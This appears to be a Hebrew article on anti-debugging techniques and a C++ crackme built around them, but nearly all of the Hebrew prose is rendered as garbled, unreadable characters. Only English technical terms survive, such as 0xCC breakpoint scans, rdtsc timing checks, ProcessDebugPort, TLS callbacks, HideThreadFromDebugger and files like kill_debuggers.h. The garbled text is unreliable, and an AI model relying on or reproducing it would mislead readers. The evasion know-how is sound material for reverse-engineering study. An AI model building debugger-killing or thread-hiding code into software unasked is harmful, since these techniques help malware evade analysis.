˪ ˦ˣ˷˲ ˢ˧ˢ˧ ˞˪ˣ ˡˣ˵ˢ ˪˰ ˦˟ˬ˟ ˭˧˰˪ ˣ˴˲˵˧ ˞˪ ˸ˣ˧˶˵ˬˢ ˸ˣˤˣ˶˥ˬˢ˷ ˞ˣˢ ˟ˣ˷˥˷ ˭˩ˣ˸ˢ ˢ˧ˢ ˢˬ ˵˧˯ˢ

.˞˧ˢ˷˪˩ ˢ˧˴ˬˣ˦ˣ˞ ˣ˞ ˶ˠ˞˟˧ˡ ˸ˣ˰˴ˬ˞˟ ˞˪˞ ,˧˶ˣ˵ˬˢ 

 ˧ˣˢ˧ˤSoftware Breakpoints 

 ˸ˣ˯˯˟˸ˬ ˦ˣ˷˲ˢ ˠˣ˯ˢˬ ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ,˶ˣˬ˞˩ ˸ˣ˞˶ˣˢ ˪˰int 3  ˧ˡ˩ .˶ˠ˞˟˧ˡˢ ˧ˡ˧ ˪˰ ˡˣ˵˟ ˸ˣ˪˸˷ˣˬ˷

 ˢ˞˶ˣˢˢ ˶˥˞ ˷˲˥˪ˣ ˢ˴˧˶ ˭ˬˤ˟ ˡˣ˵ˢ ˶ˣˤ˞ ˸˞ ˵ˣ˶˯˪ ˭˸˧ˮ ˸˞ˤˢ ˢ˪˸˷ˢˢ ˸˞ ˸ˣˢˤ˪int 3  ˸˲˷˟)

 (ˢˮˣ˩ˬ-  ˪˪˩ ˨˶ˡ˟0xCC) ˦˧˧˟ ˞˴ˬˮˣ ˢˡ˧ˬ˟ .Byte ˫˰ .˶ˠ˞˟˧ˡ ˸˥˸ ˣˮ˥ˮ˞˷ ˢ˞˶ˮ˩ ˢˤˢ ˭˩ˣ˸ˢ ˫˰ (

 ˢ˟˶ˢ˪ ˪˧˟ˣˢ˪ ˢ˪ˣ˩˧ ˦˪˥ˢ˟ ˸˞ˤ˩ ˢ˵˧˶˯ ,˸˞ˤFalse Positives ˣˮ˪˷ ˢˮ˩ˣ˸ˢ ˪˷ ˡˣ˵ˢ ˶ˣˤ˞ ,˶ˬˣ˪˩ ,

 ˪˧˩ˢ˪ ˪ˣ˩˧0xCC  ˸˧˯˥˧ ˭˦˵ ˥˦˷ ˵ˣ˶˯˪ ˱˧ˡ˰ ˣˤ˩ ˢ˵˧ˮ˩˦ ˫˧˷ˬˬ˷˩ ˭˩˪ .˫˧˶˥˞ ˫˧˧ˬ˧˦˧ˠ˪ ˸ˣˬˣ˵ˬ˟

 ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞˪˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˣ˟ ˭ˣ˶˩˧ˤ ˪˷0xCC. 

ˠˮ˧ˬ˧˧˦ 

 ˰˴˟ˮ ˫˞ ,˪˷ˬ˪ .ˣ˪˷ ˪˧ˠ˶ˢ ˟˴ˬ˟ ˶˷˞ˬ ˶˸ˣ˧ ˦˞˪ ˳˶ ˞ˣˢ ˶ˠ˞˟˧ˡ˪ ˸˥˸ˬ ˳˶ ˨˧˪ˢ˸ ˶˷˞˩ ˪˪˩ ˨˶ˡ˟

˟ ˢ˶˧˴˰-Breakpoint˞ ˨˧˷ˬˮ ˤ˞ˣ ˸˴˵ ˢ˩˥ˮ , ˧˴˥ˬ ˶˸ˣ˧) ˡˣ˞ˬ ˪ˣˡˠ ˭ˬˤ ˶ˣ˟˰˧ ˢ˷˰ˬ˪ ,ˡˣ˵ˢ ˸˴˶ˢ ˸

 ˫˞ .ˢˮ˩ˣ˸˟ ˫˧ˮˣ˷ ˫˧˵˪˥˟ ˧˥˩ˣˮˢ ˭ˬˤˢ ˸˵˧ˡ˟ ˧ˡ˧ ˪˰ ˢˤˢ ˫˧ˮˬˤˢ ˷˶˲ˢ ˸˞ ˡˣˡˬ˪ ˶˷˲˞ .(ˢ˧˧ˮ˷

 ˧ˡˬ ˪ˣˡˠ ˷˶˲ˢ ˡˣˡˬˮ- .ˣˮ˸ˣ˞ ˠ˟ˡˬ ˣˢ˷˧ˬ˷ ˭ˬ˧˯ 

 ˸˶ˤ˰˟ ˸˩˶˰ˬˢ ˸˧˧˪˰ ˤ˞ˬ ˣ˶˟˰˷ ˢ˧ˮ˷ˢ ˸ˣ˧˲˪˞ ˶˲˯ˬ ˸˞ ˪˟˵˪ ˭˸˧ˮ ,˯ˣˡˮ˧ˣˣ˟GetTickCount ˬ)-

(kernel32.dll ˸ˣˢˤ˪ ˪˵ˣ ˡˣ˵˟ ˸˧˯˥˧ ˸˦˪ˣ˟ ˞˧ˢ˷ ˞ˣˢ ˸˞ˤ˩ ˯ˣˡˮ˧ˣˣ ˸˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷˟ ˭ˣ˶˯˥ˢ ˪˟˞ .

 .˫˷ˢ ˧˲ ˪˰ ˢ˸ˣ˞ 

 ˧˪˟ˬ˯˞ˢ ˸˞˶ˣˢ˟ ˷ˬ˸˷ˢ˪ ˞˧ˢ ˫˧ˮˬˤ ˡˣˡˬ˪ ˸˶˥˞ ˨˶ˡrdtsc - Read Time Stamp Counter .

 ˶˲˯ˬ ˸˞ ˸ˮ˰ˣ˦ ˢ˷˰ˬ˪ ˢ˞˶ˣˢˢ˭ˣ˰˷ˢ ˧˶ˣˤ˥ˬ ˸˪˰˲ˢ ˤ˞ˬ ˣ˶˟˰˷ ˨ˣ˸ ˪˞ ˡ˟˰ˬˢEDX:EAX  ˭˩˪ˣ

˨˶˰ ˸ˣ˟˧˪ ˶˲˯ˬ ˫˰ ˫˧˟˷˥ˬ˟ ,˸˞ˤ ˸ˣ˶ˬ˪ .ˡˣ˞ˬ ˢˢˣ˟ˠ ˢ˧˴ˣ˪ˣˤ˶ ˸˪˰˟  ˵˧ˣˡˬ ˞˪ ˸ˣ˧ˢ˪ ˪ˣ˪˰ ˢˤ
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 ˸˞˶ˣˢ˷ ˞ˣˢ ˸˞ˤˢ ˢ˦˧˷ˢ ˪˷ ˭ˣ˶˯˥ ˡˣ˰ .˭ˣ˶˩ˮ˯ ˸ˮ˧˥˟ˬ ˵˧˲˯ˬrdtsc  ˧˯˥˧ ˭˲ˣ˞˟ ˢˡˣ˷˥ ˧ˡ ˸˟˷˥ˮ

.ˡˣ˵˟ ˟˦˧ˢ ˢ˸ˣ˞ ˶˧˸˯ˢ˪ ˧˞ˡ˩ ˭˩˪ˣ 

ssNtQueryInformationProce 

ˢ ˸˧˴˵ˮˣ˲ ˸ˣ˰˴ˬ˞˟ ˞ˣˢ ˯ˣˡˮ˧ˣˣ˟ ˫˧˶ˠ˞˟˧ˡ ˪˷ ˸ˣ˞˴ˬ˧ˢ ˧ˣˢ˧ˤ˪ ˸˲˯ˣˮ ˨˶ˡ-kernel 

NtQueryInfomrationProcess ˪˷ ˧ˮ˷ˢ ˶˦ˬ˶˲ˢ .˫˧ˣ˯ˬ ˨˧˪ˢ˸ ˪˰ ˣˮ˸˶˧˥˟˪ ˰ˡ˧ˬ ˣˮ˪ ˢ˶˧ˤ˥ˬ˷ ,

 ˶˷˞˩ ,˪˟˵˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞˷ ˰ˡ˧ˬˢ ˠˣ˯ ˸˞ ˰˟ˣ˵ ˣˤ ˢ˧˴˵ˮˣ˲ProcessDebugPort  ˸˥˞ ˸ˣ˶˷˲˞ ˞ˣˢ

 ˨˧˪ˢ˸˪ ˶ˠ˞˟˧ˡ ˶˟ˣ˥ˬ˷ ˰ˡˮ ,˯˲˞ˬ ˢˮˣ˷ ˨˶˰ ˪˟˵ˮ ˫˞ˣ ˢˤˢ ˰ˡ˧ˬˢ ˸˞ ˪˟˵˪ ˷˵˟ˮ .(˷ˬ˥ ˨ˣ˸ˬ)

.ˣˮ˪˷  

 ˧˟ˠ˪ ˫˧˟ˣ˷˥ ˫˧˶˟ˡ ˢˬ˩˪ ˟˪ ˫˧˷˪ ˷˧ˬ ˸ˣ˶˧˷˧ ˸˞˴ˣ˧ˬ ˞˧ˢ ,˪˩ ˫ˡˣ˵ :ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ-ntdll.dll  ˡ˟˪˟

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˸˧ˬ˧ˮ˲ ˢ˧˴˵ˮˣ˲ ˞˧ˢˣ;  ˸ˣ˪˧ˠ˶ ˷ˬ˸˷ˬ ˸ˣ˧ˮ˩˸)ring 3 ˢ˟ ˷ˬ˸˷ˢ˪ ˸ˣ˶ˣˬ˞ ˞˪ (

 ˧ˮ˲ ˪˰ ˶˩˧ˮ ˭ˣ˶˸˧ ˢˣˣˢˬ ˣˤ ˢ˧˴˵ˮˣ˲ ,˸˧ˮ˷ .ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˸ˣ˞˯˶ˠ ˭˧˟ ˸ˣˮ˸˷ˢ˪ ˢ˪ˣ˪˰ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ

IsDebuggerPresent ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ˫ˡˣ˵ ˢ˶˩ˤˣˢ˷  ˨˶ˡˢ ,˭˩˪ .ˣˬ˴˰ ˪ˮ˶˵ˢˬ ˰˧ˠˬ˷ ˰ˡ˧ˬ ˪˰ ˸˯˯˟˸ˬ

˧ˮ˪˪ˣ˩ ˭˲ˣ˞˟ ˣˤˢ ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ˢ ˸˞ ˱ˣ˵˰˪ ˢˡ˧˥˧ˢ  ˠˣ˞ˡ˪ˣ ˣˤˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˪˩ ˶˦ˮ˪ ˢ˧ˢ˸

) ˧˶˵˷ ˨˶˰ ˶˧ˤ˥˸˷Hooking.( 

TLS Callback 

Thread Local Storage )TLS ˪˩˪ ˶˷˲˞ˬ˷ ˯ˣˡˮ˧ˣˣ ˪˷ ˭ˣˮˠˮˬ ˞ˣˢ (Thread  ˪ˢˮ˪ ˸˧ˮ˩˸˟ ˪˧˟˵ˬ˟ ˳˶˷

 ˣ˸ˣ˞˪ ˧˪˞˵ˣ˪ ˰ˡ˧ˬ ˶ˣˬ˷˪ˣThread ˪˷ ˢ˶˧˴˧ ˶˷˲˞ˬ ˫ˠ ˭ˣˮˠˮˬ ˣ˸ˣ˞ .TLS Callback -  ˸ˣ˧˴˵ˮˣ˲ ˸ˬ˧˷˶

ˢ ˳˟ˣ˵ ˨ˣ˸˟ ˸ˣ˟˸˩ˮ˷ ˸ˣ˧ˡˣ˥˧˧-PE  ˶˷˞˩ ˸ˣ˞˶˵ˮˣ ˧ˡˣ˰˧ ˫ˣ˵ˬ˟Thread  ˭˧˧ˮ˰ˬ˷ ˢˬ .˪˷ˬ˪ ,˶˴ˣˮ ˷ˡ˥

 ˸ˣ˞˶˵ˮ ˭ˢ˷ ˞ˣˢ ˣ˪˞ˢ ˸ˣ˧˴˵ˮˣ˲˟˧ˮ˲˪ s-Entry Point ˟ ˟˸˩ˮ˷ ˧˲˩-PE Header. 

 ˧˪˩Reverse Engineering ˢ ˪˞ ˷ˬ˸˷ˬˢ ˸˞ ˫˧˥˵ˣ˪ ˫˧˟˶-Entry Point ˣˮˬˢ ˸˧ˮ˩˸ˢ ˪˷ ˶ˣ˸˟ ˸˥˸

 ˫˧˷˪ ˳ˣ˲ˮ ˧ˡ ,˱˯ˣˮ˟ .˶ˣ˧˯ˢ ˪˷ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮBreakpoint ˢ ˸˧˴˵ˮˣ˲ ˸˪˧˥˸˟-Main  ˪˧˥˸ˢ˪ ˧ˡ˩

 ˦˪ˣ˷ ˞ˣˢ˷ ˢ˟˷˥ˬ ˨ˣ˸ ˢˮ˩˸ˢ ˸˞ ˳˧˶ˢ˪ ˪ˣ˪˰ ˣˤˢ ˢ˵˧ˮ˩˦˪ ˰ˡˣˬ ˞˪˷ ˶˵ˣ˥ ˭˩˪ .˫˧ˣ˯ˬ ˡˣ˵ ˶ˣ˵˥˪

.˞˪ ˞ˣˢ˷ ˸ˣ˶ˬ˪ ˸˧ˮ˩˸ˢ ˪˷ ˢˬ˧˶ˤˢ ˪˰ 

TLS Callback  ˸˶˸˯ˣˬ ˢ˧˴˵ˮˣ˲ ˢ˷˰ˬ˪ ˞˧ˢ ,˸˞ˤ ˫˰ .˸ˣ˲˯ˣˮ ˠˮ˧ˠ˞˟˧ˡ ˧˦ˮ˞ ˸ˣ˵˧ˮ˩˦ ˷ˬˬ˪ ˭˸˧ˮ ˢ˟

 ˭ˣˠ˩ ˫˧˪˩IDA ˢ ˸˞ ˸ˣˢˤ˪ ˫˧˰ˡˣ˧-TLS Callback ˢ˷ ˸ˣ˶ˬ˪) ˸ˣ˧˶˷˲˞ˢ ˢ˯˧ˮ˩ˢ ˸ˣˡˣ˵ˮˬ ˸˥˞˩-Main 

 ˡˣ˰ ˵˶ ˧ˢˣˤ ˢ˸ˢˣˤ ˢ˵˧ˮ˩˦ˢ˷ ˰ˠ˶ˬˣ (˷ˬ˸˷ˬˢ ˥˵˪˧ ˢ˧˪˞˷ ˸˧˶˵˧˰ˢ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮ ˶˞˷˧ ˭˧˧ˡ˰

.˶˵ˣ˥ˢ ˸ˮ˧˥˟ˬ ˢ˪˧ˠ˶ ˢ˧˴˵ˮˣ˲ 
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˶˞ˡˣ˵ˢ ˸ˤ˧ 

) ˡˣ˵ ˪˷ "ˢˤ˧˶˞"Packing ˢˮ˩ˣ˸ˢ ˪˷ ˢ˞˟˥ˢ ˸˪˪ˣ˩ ˞˧ˢˣ ˫ˣ˥˸˟ ˸˧˶˞˪ˣ˲ˣ˲ ˧˩ˢ ˢ˵˧ˮ˩˦ˢ ˢ˞˶ˮ˩ ˞˧ˢ (

 ˸˲˦ˣ˰ˢ ˢˮ˩ˣ˸ˢ ˫˧˸˰˪ .˧˸˧ˬ˞ˢ ˡˣ˵˪ ˢ˴˲˵ˬ˩ ˸˷ˬ˷ˬ ˢ˷˰ˬ˪˷ ˸˶˥˞ ˢˮ˦˵ ˢˮ˩ˣ˸ ˨ˣ˸˟ ˸˧˶ˣ˵ˬˢ

ˢ˪ ˪ˣ˩˧ ˧˦˦˯ ˥ˣ˸˧ˮ ˸˞ˤˢ ˢ˶ˣ˴˟ .ˢ˴˧˶ˢ ˧ˮ˲˪ ˧˸˧ˬ˞ˢ ˡˣ˵ˢ ˪˷ ˞ˣˢ˷˪˩ ˥ˣˮ˰˲ ˸˰˴˟ˬ ˧˷˰ˬ ˞˪˪ ˨ˣ˲

 ˰˴˟˪ ˤ˞ˣ ˥ˮ˰ˣ˲ˬ ˶˟˩ ˧˶ˣ˵ˬˢ ˡˣ˵ˢ ˢ˟˷ ˢˡˣ˵ˮ˪ ˡ˰ ˢˮ˩ˣ˸ˢ ˸˞ ˳˧˶ˢ˪ ˨˶ˣ˴ ˷˧ˣDump. 

 ˭ˣ˯˥˞˪ ˫˧˩˶ˡˢˢ ˵˪˥ ˨ˣ˸˟ ˣ˸ˣ˞ ˭˯˥˞˪ ,ˢˬˠˣˡ˪ ,˶˷˲˞ :˸ˣˮˣˣˠˬ ˧˶ˣ˵ˬˢ ˡˣ˵ˢ- Resourcesˢ ˪˷-PE ,

˟ ,˪˧ˠ˶ˢ ˡˣ˵ˢˬ ˵˪˥˩-Section  ˸˞ ˣ˩ˣ˸˪ ˟ˣ˸˩˪ˣ ˷ˡ˥ ˨˧˪ˢ˸ ˶ˣ˴˧˪ ˭˸˧ˮ ˭˩ˬ ˶˥˞˪ .ˡˣ˰ˣ ˧˶ˬˠ˪ ˷ˡ˥

 ˸˶ˤ˰˟) ˥ˮ˰ˣ˲ˬˢ ˡˣ˵ˢCreateProcess x-WriteProcessMemoryˣ˞ ( .˧˥˩ˣˮˢ ˨˧˪ˢ˸˟ ˷ˬ˸˷ˢ˪ 

 ˫˧˷ˬˣ˷ˬ˷ ˢ˪˞ˬ ˡ˥˞ ˪˷ˬ˪ ˣˬ˩) ˶˩ˣˬ ˢ˯˧˥ˡ ˫˸˧˶ˣˠ˪˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˥ˣˮ˰˲ˢˣ ˡˣˡ˧˵ˢ ˫˸˧˶ˣˠ˪˞

 ˦ˬ˶ˣ˲˟ZIP˪ ˭˸˧ˮ˷ ˭˟ˣˬ˩ ˪˟˞ (.˸ˣˬ˩˥ˣ˸ˬ ˶˸ˣ˧ ˢ˟˶ˢ ˸ˣ˶ˣ˴˟ ˫ˠ ˸˞ˤ ˸ˣ˷˰ 

 ˸ˣ˞˧˶˵ ˪ˣ˟˶˰API 

 ˪˷ ˢˬˠˣˡ˟ ˣˮ˧˞˶˷ ˣˬ˩ .ˢˮ˩ˣ˸ˢ ˸ˣˮˣˣ˩ ˧˟ˠ˪ ˡˣ˞ˬ ˢ˟˶ˢ ˤˣˬ˶˪ ˸ˣ˪ˣ˩˧ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˸ˣˬ˷calc.exe ,

 ˣˮ˧˞˶˷ ˰ˠ˶˟˪ ˢ˞˧˶˵-GetClipboardData  ˫˧ˢˣˤˬ ˣ˪˞ˢ ˸ˣˬ˷ˢ˷ ˢ˟˧˯ˢ .˭˞˩ ˢ˶ˣ˵ ˢˬ ˶ˣ˶˟ ˧ˡ ˢ˧ˢ

˲˯ ˨ˣ˸ˬ ˫˧˰˧ˠˬ ˫ˢ˷ ˞˧ˢ) ˸ˣ˧ˬ˞ˮ˧ˡ ˸ˣ˧˶DLLˢ ˨ˣ˸˟ ˷ˣ˶˧˲˟ ˫˧˟ˣ˸˩ ˭˩˪ˣ (-Import Table ˢ ˪˷-PE .

˪ ˫˴˰˟ ˶ˣ˷˧˵ ˷˧ ˸ˣ˞˟ˣ˧ˬˢ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˸˥˞˪ ˢ˴˧˲˵ ˢˮ˷˧˷˩-IATˣ ,-IDA  ˭˲ˣ˞˟ ˸˞ˤ ˸ˣˢˤ˪ ˸˰ˡˣ˧

.˧˦ˬˣ˦ˣ˞ 

˟ ˷ˬ˸˷ˢ˪ ˞˧ˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ˢ ˸˞ ˞˧˟˥ˢ˪ ˸˥˞ ˨˶ˡ-Dynamic Loading ,

 ˶ˬˣ˪˩˪ ˞ˣ˶˵˪-GetProcAddress x-LoadLibrary  ˣˮ˥ˮ˞˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˭ˬ˴˰˟ ˣˮ˪ ˣ˞˴ˬ˧˷

 ˢ˴˧˶ ˭ˬˤ˟ ˢ˪ ˞ˣ˶˵˪ ˫˧˴ˣ˶- ˢ ˨ˣ˸ˬ-Export Table ˢ ˪˷-Module  ˸ˣˬ˷ ˫ˠ ˭˧˲˴ˢ˪ ˭˸˧ˮ ˨˩ .˫˧˞˸ˬˢ

 ˸˞ ˸˧ˮˡ˧ ˷ˬˬ˪ ˣ˪˧˲˞ ˶˷˲˞ ˫˧˴ˣ˶ ˫˞ .˸ˣ˧˴˵ˮˣ˲ ˪˷GetProcAddress ˨˩ˣ ˧ˢ˧ ˞˪ ˢ˸ˣ˞ ˣ˪˧˲˞ ˪˵ ˢ

.˸ˣˢˤ˪ 

 

 ˢ˷˰ˬ˪ˣ ˭ˢ˪˷ ˡˣ˵ˢ ˸˞ ˵˧˸˰ˢ˪ ˦ˣ˷˲ ˣ˞ ˸˧ˮˡ˧ ˭˸ˣ˞ ˷ˬˬ˪ ˞˧ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˞˧˶˵ ˞˧˟˥ˢ˪ ˢ˧ˮ˷ ˨˶ˡ

 ˪˷ ˢ˶˵ˬ˟˷ ˟˪ ˫˧˷˪ ˷˧ .ˢˬ˴˰ ˢˮ˩ˣ˸ˢˬ ˵˪˥˩ ˧˦˞˦˯ ˭˲ˣ˞˟ ˭˸ˣ˞ ˪˧˩ˢ˪Windows DLLs  ˸˴˵ ˢˤ

ˬ ˣ˸ˣ˞˟ ˸ˮ˵˸ˣˬ˷ ˸˵˧ˣˡˬˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˯˶ˠ ˸˞ ˫˞ˣ˸ ˵˧ˣˡˬˢ ˡˣ˵ˢ ˧˩ ˧˸˧˧˰˟ ˸ˣ˪ˣ˪˰ ˭˩˪ˣ ,˟˷˥

ˢ ˪˩ ˧˶˥˞ ˟ˣ˵˰˪ ˨˶ˣ˴ ˷˧ ,˱˯ˣˮ˟ .˸ˣˬ˧˞˸ ˸ˣ˧˰˟ ˸ˣ˧ˢ˪-dependencies  ˸˵˸˰ˣˬ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞ ˪˷

.˭˸ˣ˞ ˫ˠ ˵˧˸˰ˢ˪ˣ 
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Thread ˶˸˯ˮ 

ˢ ,˰˧˸˲ˬ ˭˲ˣ˞˟-API ˪ ˯˥˧˧˪ ˸ˣ˶˷˲˞ˢ ˸˞ ˪˪ˣ˩ ˯ˣˡˮ˧ˣˣ ˪˷-Thread  ˸ˣ˧ˢ˪ ˣ˪ ˸ˬ˶ˣˠ˷ ˢˮˣ˩˸ ˫˧ˣ˯ˬ

 ˣ˞ ˸ˣ˰ˡˣˢ :˶ˠ˞˟˧ˡˢˬ ˞˟˥ˣˬˬ ˸ˣˠ˧˶˥ ˣ˸ˣ˞Thread ˢ ˸ˬ˧˷˶˟ ˰˧˲ˣ˧ ˞˪ ˞ˣˢˣ ˶ˠ˞˟˧ˡˢ ˪˞ ˣ˶˟˰ˣ˧ ˞˪-

Thread- ˣ˸ˣ˞˷ ˶ˬˣ˪ ˶˷˲˞ ˧˪˪˩ ˭˲ˣ˞˟ .˫˧ˬ˧˧˵ˢ ˫˧Thread  .˶ˠ˞˟˧ˡˢ ˸ˮ˧˥˟ˬ ˫˧˧˵ ˢ˧ˢ˧ ˞˪ ˢ˷˰ˬ˪

˪ ˞˶˵ˮ ˸˞ˤˢ ˢˮˣ˩˸ˢ ˸˞ ˶˷˲˞˪ ˧ˡ˩-NtSetInformationThread ˫˰ Handle ˪-Thread  ˱ˣ˶˧˴˟ ˧ˣ˴˶ˢ

 ˨˶˰ˢ0x11 - HideThreadFromDebugger: 
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˧ˮ˷ ˵˪˥ - ˸ˣ˲˯ˣˮ ˸ˣ˵˧ˮ˩˦ˣ ˧˪˷ ˦˵˧ˣ˶˲ˢ 

) ˧˲˶ˠ ˷ˬ˸˷ˬ ˵˷ˬˬ ˫˰ ˢˮ˦˵ ˢˮ˩ˣ˸ ˣˡˣ˯˧˟ ˞ˣˢ ˧˪˷ ˦˵˧ˣ˶˲ˢGUI ˥ˣ˸˲˪ ˷ˬ˸˷ˬˢˬ ˸˷˵˟ˬ˷ (

 ˣˤˢ ˢˡˣ˵ˮˢˬ .˨˧˷ˬˢ˪ ˧ˡ˩ ˢˬ˯˧˯ ˸˷˵˟ˬ˷ ˢ˰ˡˣˢ ˨˯ˬ˪ ˸˴˲ˣ˵ ,ˢˤ ˸˞ ˢ˷ˣ˰ ˷ˬ˸˷ˬˢ˷˩ .˳˟ˣ˵

 ˸˞ ˱ˣ˵˰˪ ˞ˣˢ ˶ˠ˸˞ˢ ˨˪˧˞ˣ ˨ˣ˸ ˢˬ˯˧˯ˢ ˸˞ ˸ˣ˪ˠ˪ˣ ˢˮ˩ˣ˸˟ ˫ˢ˟ ˧˸˷ˬ˸˷ˢ˷ ˫˧ˮˣ˷ˢ ˫˧˵˧˶˦ˢ

.˶ˣ˥˞˪ ˢ˯ˡˮˢ ˧˪˩˟ ˷ˣˬ˧˷ 

 ˫˧ˮˣˣˠˬ ˫˧˵˧˶˦ ˡˣ˰ ˫ˠˣ ˫ˡˣ˵ˬ ˧˸˶˩ˤˢ˷ ˠˮ˧ˠ˞˟˧ˡ ˡˠˮ ˸ˣ˴ˣ˲ˮˢ ˸ˣ˵˧ˮ˩˦ˢ ˪˩ ˸˞ ˧˸˷ˬ˧ˬ ˧˪˷ ˢˮ˩ˣ˸˟

.˫ˢ˧˪˰ ˟ˣ˷˥˪ ˧˸˪ˣ˩˧˷ ˫˧˶˥˞ 
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˟ ˧˪˷ ˢˮ˩ˣ˸ˢ ˸˞ ˧˸˟˸˩-C++  ˫˰Visual Studio 2012 ˫˧˶ˠ˞˟˧ˡ ˡˠˮ ˸ˣ˵˧ˮ˩˦ ˷ˬˬˬ˷ ˡˣ˵ˢˬ ˵˪˥ .

 ˪˷ ˭ˣˮˠ˯˟ ˸˞ˤ ˪˩˟ ˟ˣ˸˩C .˸ˣ˥ˣˮ ˪˷ ˸ˣ˟˧˯ ˪˪ˠ˟ 

:˫ˢ ˧˪˷ ˢˮ˩ˣ˸ˢ ˪˷ ˫˧˧˷˞˶ˢ ˫˧˴˟˵ˢ 

¶  main.cpp - ˢ ˸˧˴˵ˮˣ˲-Main˯ˣˡˮ˧ˣˣ ˪˷ ˸ˣ˰ˡˣˢˢ ˸˞˪ˣ˪ˣ ˧˷˞˶ˢ ˭ˣ˪˥ˢ ˪ˣ˥˸˞ : 

¶ main_form.cpp -  ˶˴ˣ˧ ˫ˠ ˧˷˞˶ˢ ˭ˣ˪˥ˢ .˸˧˷˞˶ˢ ˢ˵˧˲˶ˠ˟ ˪ˣ˲˧˦˪ ˧˞˶˥˞˷ ˧˷˞˶ˢˣ ˪ˣˡˠˢ ˭ˣ˪˥ˢ

" ˪˰ ˳˥ˣ˪ ˷ˬ˸˷ˬˢ˷˩ ˢˬ˯˧˯ˢ ˪˷ ˢ˰ˡˣˢˢ ˸˞ ˫ˠ ˠ˧˴ˬˣOpen file." 

¶ code_form.cpp - ˢ ˭ˣ˪˥-"Permission Denied ˫˰ ˢ˧˴˵˞˶˦ˮ˧˞˟ ˪˲˦ˬ .ˢˬ˯˧˯ ˷˵˟ˬ˷ "

.˧˷˞˶ˢ ˭ˣ˪˥˪ ˢˬˣˡ˟ ˷ˬ˸˷ˬˢ 

¶ password_verifier.cpp - s-Class  .ˢˬ˯˧˯ˢ ˭ˣ˪˥˟ ˯˧ˮ˩ˬ ˷ˬ˸˷ˬˢ˷ ˢˬ˯˧˯ˢ ˸˵˧ˡ˟˪ ˧˞˶˥˞˷

.ˢ˶˸˯ˢ ˸ˣ˵˧ˮ˩˦ ˪˷ ˸˧˯˥˧ ˢ˪ˣˡˠ ˸ˣˬ˩˟ ˷ˬ˸˷ˬ ˭˩˪ˣ ˧˦˧˶˵ ˞ˣˢ ˢˤ ˵˪˥ 

¶ utility.cpp - Class  ˣ˸ˣ˞˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ .˸ˣ˧˪˪˩ ˶ˤ˰ ˸ˣ˧˴˵ˮˣ˲ ˵˲˯ˬ˷ ˶ˤ˰Class .˸ˣ˧˦˦˯ ˭ˢ 

 ˪˩˪ ˳˟ˣ˵.cpp  ˳˟ˣ˵ ˫ˠ ˭˟ˣˬ˩ ˫˧˧˵.h ˢ ˸˞ ˪˧˩ˬ˷-Declarations .˫˧ˬ˧˞˸ˬˢ 

ˢ ˸ˣ˵˧ˮ˩˦ ˪˷ ˫˧˷ˣˬ˧ˬˢ ˸˞-Anti Reversing  ˸˧˧˵˧˸˟ ˧˸ˮˠ˶˞ ˸ˣˮˣ˷ˢanti_debugging ˸˪˪ˣ˩˷  ˸˞

:˫˧˞˟ˢ ˫˧˴˟˵ˢ 

¶ api_obfuscation.h -  ˸ˣ˞˧˶˵ ˸˶˸˯ˢˣ ˪ˣ˲˶˰API )call_xxxxx ,get_proc_address ('ˣ˩ˣ 

¶ breakpoint_detection.h -  ˧ˣ˪˧ˠBreakpoints ˧˶˯ ˸˶ˤ˰˟˭ˣ˶˩˧ˤ ˸ˣ˵ 'ˣ˩ˣ 

¶ checksum_verification.h -  ˸ˣ˵˧ˡ˟ˣ ˟ˣ˷˧˥Checksum ˢˮ˩ˣ˸ˢ ˪˷ ˡˣ˵ˢ ˪˰ 

¶ debugger_detection.h - ˫˧˶ˠ˞˟˧ˡ ˪˷ ˸ˣ˞˴ˬ˧ˢ ˧ˣ˪˧ˠ˪ ˸ˣ˦˧˷ ˶˲˯ˬ 

¶ hidden_thread.h - ˢ ˪˷ ˸˧˲ˣ˯ˮ˧˞ˢ ˢ˞˪ˣ˪ˢ-Thread ˶˸˯ˮˢ ˫˧ˮˣ˷ ˫˧˶˟ˡ ˢ˷ˣ˰˷ 

¶ junk_codes.h - ˡ˥ˣ˧ˬ˟ ˪˟˪˟ˬ ˪˟ˤ ˡˣ˵ ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ 

¶ kill_debuggers.h -  ˷ˣ˲˧˥Process-˫˧˶˩ˣˬ ˫˧˶ˠ˞˟˧ˡ ˪˷ ˫˧ ˫˸˧ˠ˶ˢˣ 

¶ string_encryption.h -  ˪˷ ˥ˣˮ˰˲ˣ ˢˮ˲˴ˢString-˫˧  

¶ timing.h - ˧˥˩ˣˮˢ ˭ˬˤˢ ˸˵˧ˡ˟ ˭ˬˤ ˧˷˶˲ˢ ˸ˡ˧ˡˬ ˨˶ˣ˴˪ 

¶ tls_callback.h - s-TLS Callback  ˶ˠ˞˟˧ˡˢ ˡˠˮ ˸˧ˡˣ˥˧˧ ˢ˵˧ˮ˩˦ ˫ˠˣ ˣˬ˴˰OllyDbg 

